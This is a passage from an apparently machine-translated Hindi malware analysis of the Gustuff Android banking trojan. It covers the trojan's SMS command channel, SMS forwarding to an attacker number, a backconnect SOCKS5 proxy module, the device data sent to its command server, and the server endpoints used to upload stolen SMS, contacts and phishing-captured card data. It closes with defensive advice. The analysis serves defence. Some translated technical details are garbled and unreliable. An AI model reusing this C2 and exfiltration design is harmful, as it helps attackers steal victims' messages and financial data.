एप्लिकेशन संक्रमित डिवाइस के लिए एसएमएस संदेशों को स्वीकार करने के लिए एक इवेंट हैंडलर स्थापित करता है। अध्ययन के तहत एप्लिकेशन ऑपरेटर से आदेश प्राप्त कर सकता है, जो एसएमएस संदेश के मुख्य भाग में आते हैं। आदेश इस प्रारूप में आते हैं:

7!5=<%बेस64 एन्कोडेड कमांड%>

एप्लिकेशन आने वाले सभी एसएमएस संदेशों में स्ट्रिंग की खोज करता है 7!5=, जब एक स्ट्रिंग का पता लगाया जाता है, तो यह ऑफसेट 64 पर बेस 4 से स्ट्रिंग को डीकोड करता है और कमांड निष्पादित करता है। कमांड CnC वाले कमांड के समान हैं। निष्पादन परिणाम उसी नंबर पर भेजा जाता है जिससे आदेश आया था। प्रतिक्रिया प्रारूप:

7*5=<%बेस64 "result_code कमांड"%> का एनकोड

वैकल्पिक रूप से, एप्लिकेशन सभी प्राप्त संदेशों को रूट नंबर पर भेज सकता है। ऐसा करने के लिए, रूट नंबर को प्राथमिकता फ़ाइल में निर्दिष्ट किया जाना चाहिए और संदेश पुनर्निर्देशन ध्वज सेट किया जाना चाहिए। हमलावर के नंबर पर एक एसएमएस संदेश इस प्रारूप में भेजा जाता है:

<%संख्या से%> - <%समय, प्रारूप: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

साथ ही, वैकल्पिक रूप से, एप्लिकेशन CnC को संदेश भेज सकता है। एसएमएस संदेश JSON प्रारूप में सर्वर पर भेजा जाता है:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

यदि ध्वज स्थापित है नाम जेनरेटर('DEFAULT_APP_SMS') - एप्लिकेशन एसएमएस संदेश को संसाधित करना बंद कर देता है और आने वाले संदेशों की सूची साफ़ कर देता है।

प्रॉक्सी मॉड्यूल

अध्ययन के तहत एप्लिकेशन में एक बैककनेक्ट प्रॉक्सी मॉड्यूल (बाद में प्रॉक्सी मॉड्यूल के रूप में संदर्भित) शामिल है, जिसमें एक अलग वर्ग है जिसमें कॉन्फ़िगरेशन के साथ स्थिर फ़ील्ड शामिल हैं। कॉन्फ़िगरेशन डेटा को नमूने में स्पष्ट रूप में संग्रहीत किया जाता है:

प्रॉक्सी मॉड्यूल द्वारा की गई सभी क्रियाएँ फ़ाइलों में लॉग इन की जाती हैं। ऐसा करने के लिए, एक्सटर्नल स्टोरेज में एप्लिकेशन "लॉग्स" (कॉन्फ़िगरेशन क्लास में ProxyConfigClass.logsDir फ़ील्ड) नामक एक निर्देशिका बनाता है, जिसमें लॉग फ़ाइलें संग्रहीत होती हैं। नामों वाली फ़ाइलों में लॉगिंग होती है:

मुख्य.txt - CommandServer नामक क्लास का कार्य इस फ़ाइल में लॉग किया गया है। निम्नलिखित में, इस फ़ाइल में स्ट्रिंग str को लॉग करना mainLog(str) के रूप में दर्शाया जाएगा।
सत्र-<%id%>.txt - यह फ़ाइल एक विशिष्ट प्रॉक्सी सत्र से जुड़े लॉग डेटा को सहेजती है। निम्नलिखित में, इस फ़ाइल में स्ट्रिंग str को लॉग करना सेशनलॉग (str) के रूप में दर्शाया जाएगा।
सर्वर.txt - इस फ़ाइल का उपयोग ऊपर वर्णित फ़ाइलों में लिखे गए सभी डेटा को लॉग करने के लिए किया जाता है।

लॉग डेटा प्रारूप:

<%दिनांक%> [थ्रेड[<%थ्रेड आईडी%>], आईडी[]]: लॉग-स्ट्रिंग

प्रॉक्सी मॉड्यूल के संचालन के दौरान होने वाले अपवाद भी एक फ़ाइल में लॉग किए जाते हैं। ऐसा करने के लिए, एप्लिकेशन निम्नलिखित प्रारूप में एक JSON ऑब्जेक्ट उत्पन्न करता है:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

फिर यह इसे एक स्ट्रिंग प्रतिनिधित्व में परिवर्तित करता है और इसे लॉग करता है।

संबंधित कमांड प्राप्त होने के बाद प्रॉक्सी मॉड्यूल लॉन्च किया जाता है। जब प्रॉक्सी मॉड्यूल शुरू करने के लिए एक कमांड प्राप्त होता है, तो एप्लिकेशन एक सेवा शुरू करता है जिसे कहा जाता है मुख्य सेवा, जो प्रॉक्सी मॉड्यूल के संचालन के प्रबंधन - इसे शुरू करने और रोकने के लिए जिम्मेदार है।

सेवा प्रारंभ करने के चरण:

1. एक टाइमर प्रारंभ करता है जो मिनट में एक बार चलता है और प्रॉक्सी मॉड्यूल की गतिविधि की जाँच करता है। यदि मॉड्यूल सक्रिय नहीं है, तो यह इसे प्रारंभ करता है।
इसके अलावा जब ईवेंट ट्रिगर होता है android.net.conn.CONNECTIVITY_CHANGE प्रॉक्सी मॉड्यूल लॉन्च किया गया है.

2. एप्लिकेशन पैरामीटर के साथ एक वेक-लॉक बनाता है आंशिक_जाग_लॉक और उसे पकड़ लेता है. यह डिवाइस सीपीयू को स्लीप मोड में जाने से रोकता है।

3. सबसे पहले लाइन लॉग करते हुए, प्रॉक्सी मॉड्यूल का कमांड प्रोसेसिंग क्लास लॉन्च करता है मेनलॉग ("सर्वर प्रारंभ करें") и

सर्वर::स्टार्ट() होस्ट[<%प्रॉक्सी_सीएनसी%>], कमांडपोर्ट[<%कमांड_पोर्ट%>], प्रॉक्सीपोर्ट[<%प्रॉक्सी_पोर्ट%>]

जहां प्रॉक्सी_सीएनसी, कमांड_पोर्ट और प्रॉक्सी_पोर्ट - प्रॉक्सी सर्वर कॉन्फ़िगरेशन से प्राप्त पैरामीटर।

कमांड प्रोसेसिंग क्लास को कहा जाता है कमांडकनेक्शन. स्टार्टअप के तुरंत बाद, निम्नलिखित क्रियाएं करता है:

4. से जुड़ता है ProxyConfigClass.host: ProxyConfigClass.commandPort और JSON प्रारूप में संक्रमित डिवाइस के बारे में डेटा भेजता है:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

कहाँ:

आईडी - पहचानकर्ता, "x" नामक साझा वरीयता फ़ाइल से "आईडी" फ़ील्ड के साथ एक मान प्राप्त करने का प्रयास करता है। यदि यह मान प्राप्त नहीं किया जा सका, तो यह एक नया मान उत्पन्न करता है। इस प्रकार, प्रॉक्सी मॉड्यूल का अपना पहचानकर्ता होता है, जो बॉट आईडी के समान ही उत्पन्न होता है।
imei - डिवाइस का IMEI। यदि मान प्राप्त करने की प्रक्रिया के दौरान कोई त्रुटि उत्पन्न होती है, तो इस फ़ील्ड के स्थान पर एक त्रुटि पाठ संदेश लिखा जाएगा।
imsi - डिवाइस की अंतर्राष्ट्रीय मोबाइल सब्सक्राइबर पहचान। यदि मान प्राप्त करने की प्रक्रिया के दौरान कोई त्रुटि उत्पन्न होती है, तो इस फ़ील्ड के स्थान पर एक त्रुटि पाठ संदेश लिखा जाएगा।
मॉडल - अंतिम उत्पाद के लिए अंतिम-उपयोगकर्ता-दृश्यमान नाम।
निर्माता - उत्पाद/हार्डवेयर का निर्माता (बिल्ड.निर्माता)।
androidVersion - "<%release_version%> (<%os_version%>),<%sdk_version%>" प्रारूप में एक स्ट्रिंग
देश - डिवाइस का वर्तमान स्थान.
पार्टनरआईडी एक खाली स्ट्रिंग है।
पैकेजनाम - पैकेज का नाम।
नेटवर्क प्रकार - वर्तमान नेटवर्क कनेक्शन का प्रकार (उदाहरण: "वाईफ़ाई", "मोबाइल")। त्रुटि के मामले में, शून्य लौटाता है।
hasGsmSupport - सत्य - यदि फ़ोन GSM का समर्थन करता है, अन्यथा ग़लत।
सिमरेडी - सिम कार्ड स्थिति।
सिमकंट्री - आईएसओ देश कोड (सिम कार्ड प्रदाता पर आधारित)।
नेटवर्कऑपरेटर - ऑपरेटर का नाम। यदि मान प्राप्त करने की प्रक्रिया के दौरान कोई त्रुटि उत्पन्न होती है, तो इस फ़ील्ड के स्थान पर एक त्रुटि पाठ संदेश लिखा जाएगा।
सिमऑपरेटर - सेवा प्रदाता का नाम (एसपीएन)। यदि मान प्राप्त करने की प्रक्रिया के दौरान कोई त्रुटि उत्पन्न होती है, तो इस फ़ील्ड के स्थान पर एक त्रुटि पाठ संदेश लिखा जाएगा।
संस्करण - यह फ़ील्ड कॉन्फ़िगरेशन क्लास में संग्रहीत है; बॉट के परीक्षण किए गए संस्करणों के लिए यह "1.6" के बराबर था।

5. सर्वर से आदेशों की प्रतीक्षा के मोड पर स्विच करता है। सर्वर से आदेश इस प्रारूप में आते हैं:

0 ऑफसेट - कमांड
1 ऑफसेट - सेशन आईडी
2 ऑफसेट - लंबाई
4 ऑफसेट - डेटा

जब कोई आदेश आता है, तो एप्लिकेशन लॉग होता है:
मेनलॉग ("हेडर { सेशनआईडी<%id%>], टाइप[<%कमांड%>], लंबाई[<%लंबाई%>] }")

सर्वर से निम्नलिखित आदेश संभव हैं:

नाम	आदेश	जानकारी	Description
कनेक्शनआईडी	0	कनेक्शन आईडी	एक नया कनेक्शन बनाएं
नींद	3	पहर	प्रॉक्सी मॉड्यूल को रोकें
पिंग पोंग	4	-	पोंग संदेश भेजें

एक पोंग संदेश में 4 बाइट्स होते हैं और यह इस तरह दिखता है: 0x04000000.

जब कनेक्शनआईडी कमांड प्राप्त होता है (नया कनेक्शन बनाने के लिए) कमांडकनेक्शन किसी वर्ग का एक उदाहरण बनाता है प्रॉक्सीकनेक्शन.

प्रॉक्सीिंग में दो वर्ग भाग लेते हैं: प्रॉक्सीकनेक्शन и समाप्त. क्लास बनाते समय प्रॉक्सीकनेक्शन पते से जुड़ रहा है ProxyConfigClass.host: ProxyConfigClass.proxyPort और JSON ऑब्जेक्ट पास करना:

 {
    "id":<%connectionId%>
}

जवाब में, सर्वर एक SOCKS5 संदेश भेजता है जिसमें दूरस्थ सर्वर का पता होता है जिसके साथ कनेक्शन स्थापित किया जाना चाहिए। इस सर्वर के साथ इंटरेक्शन क्लास के माध्यम से होता है समाप्त. कनेक्शन सेटअप को योजनाबद्ध रूप से निम्नानुसार दर्शाया जा सकता है:

नेटवर्क इंटरैक्शन

नेटवर्क स्निफ़र्स द्वारा ट्रैफ़िक विश्लेषण को रोकने के लिए, CnC सर्वर और एप्लिकेशन के बीच इंटरैक्शन को SSL प्रोटोकॉल का उपयोग करके संरक्षित किया जा सकता है। सर्वर से और सर्वर तक प्रेषित सभी डेटा JSON प्रारूप में प्रस्तुत किया गया है। एप्लिकेशन ऑपरेशन के दौरान निम्नलिखित अनुरोधों को निष्पादित करता है:

http://<%CnC%>/api/v1/set_state.php - कमांड निष्पादन का परिणाम।
http://<%CnC%>/api/v1/get.php - एक आदेश प्राप्त करना।
http://<%CnC%>/api/v1/load_sms.php — किसी संक्रमित डिवाइस से एसएमएस संदेश डाउनलोड करना।
http://<%CnC%>/api/v1/load_ab.php - किसी संक्रमित डिवाइस से संपर्कों की सूची अपलोड करना।
http://<%CnC%>/api/v1/aevents.php - अनुरोध वरीयता फ़ाइल में स्थित मापदंडों को अद्यतन करते समय किया जाता है।
http://<%CnC%>/api/v1/set_card.php — Google Play Market के रूप में फ़िशिंग विंडो का उपयोग करके प्राप्त डेटा अपलोड करना।
http://<%CnC%>/api/v1/logs.php - लॉग डेटा अपलोड करना।
http://<%CnC%>/api/v1/records.php - फ़िशिंग विंडोज़ के माध्यम से प्राप्त डेटा अपलोड करना।
http://<%CnC%>/api/v1/set_error.php - घटित हुई त्रुटि की सूचना।

अनुशंसाएँ

अपने ग्राहकों को मोबाइल ट्रोजन के खतरे से बचाने के लिए, कंपनियों को व्यापक समाधानों का उपयोग करना चाहिए जो उन्हें उपयोगकर्ता उपकरणों पर अतिरिक्त सॉफ़्टवेयर स्थापित किए बिना दुर्भावनापूर्ण गतिविधि की निगरानी और रोकथाम करने की अनुमति दें।

ऐसा करने के लिए, मोबाइल ट्रोजन का पता लगाने के लिए हस्ताक्षर विधियों को क्लाइंट और एप्लिकेशन दोनों के व्यवहार का विश्लेषण करने के लिए प्रौद्योगिकियों के साथ मजबूत करने की आवश्यकता है। सुरक्षा में डिजिटल फ़िंगरप्रिंट तकनीक का उपयोग करके एक डिवाइस पहचान फ़ंक्शन भी शामिल होना चाहिए, जिससे यह समझना संभव हो जाएगा कि किसी खाते का उपयोग किसी असामान्य डिवाइस से किया जा रहा है और वह पहले ही धोखेबाज के हाथों में पड़ चुका है।

एक मौलिक रूप से महत्वपूर्ण बिंदु क्रॉस-चैनल विश्लेषण की उपलब्धता है, जो कंपनियों को न केवल इंटरनेट पर, बल्कि मोबाइल चैनल पर भी उत्पन्न होने वाले जोखिमों को नियंत्रित करने की अनुमति देता है, उदाहरण के लिए, मोबाइल बैंकिंग के लिए अनुप्रयोगों में, क्रिप्टोकरेंसी के साथ लेनदेन के लिए और किसी भी अन्य जहां लेन-देन किया जा सकता है। वित्तीय लेन-देन।

उपयोगकर्ताओं के लिए सुरक्षा नियम:

एंड्रॉइड ओएस वाले मोबाइल डिवाइस के लिए Google Play के अलावा किसी अन्य स्रोत से एप्लिकेशन इंस्टॉल न करें, एप्लिकेशन द्वारा अनुरोधित अधिकारों पर विशेष ध्यान दें;
नियमित रूप से Android OS अपडेट इंस्टॉल करें;
डाउनलोड की गई फ़ाइलों के एक्सटेंशन पर ध्यान दें;
संदिग्ध संसाधनों पर न जाएँ;
एसएमएस संदेशों में प्राप्त लिंक पर क्लिक न करें।

अभिनीत शिमोन रोगाचेवा, ग्रुप-आईबी कंप्यूटर फोरेंसिक प्रयोगशाला में मैलवेयर अनुसंधान में कनिष्ठ विशेषज्ञ।

स्रोत: www.habr.com

कैसे एंड्रॉइड ट्रोजन गस्टफ आपके खातों से क्रीम (फिएट और क्रिप्टो) निकाल लेता है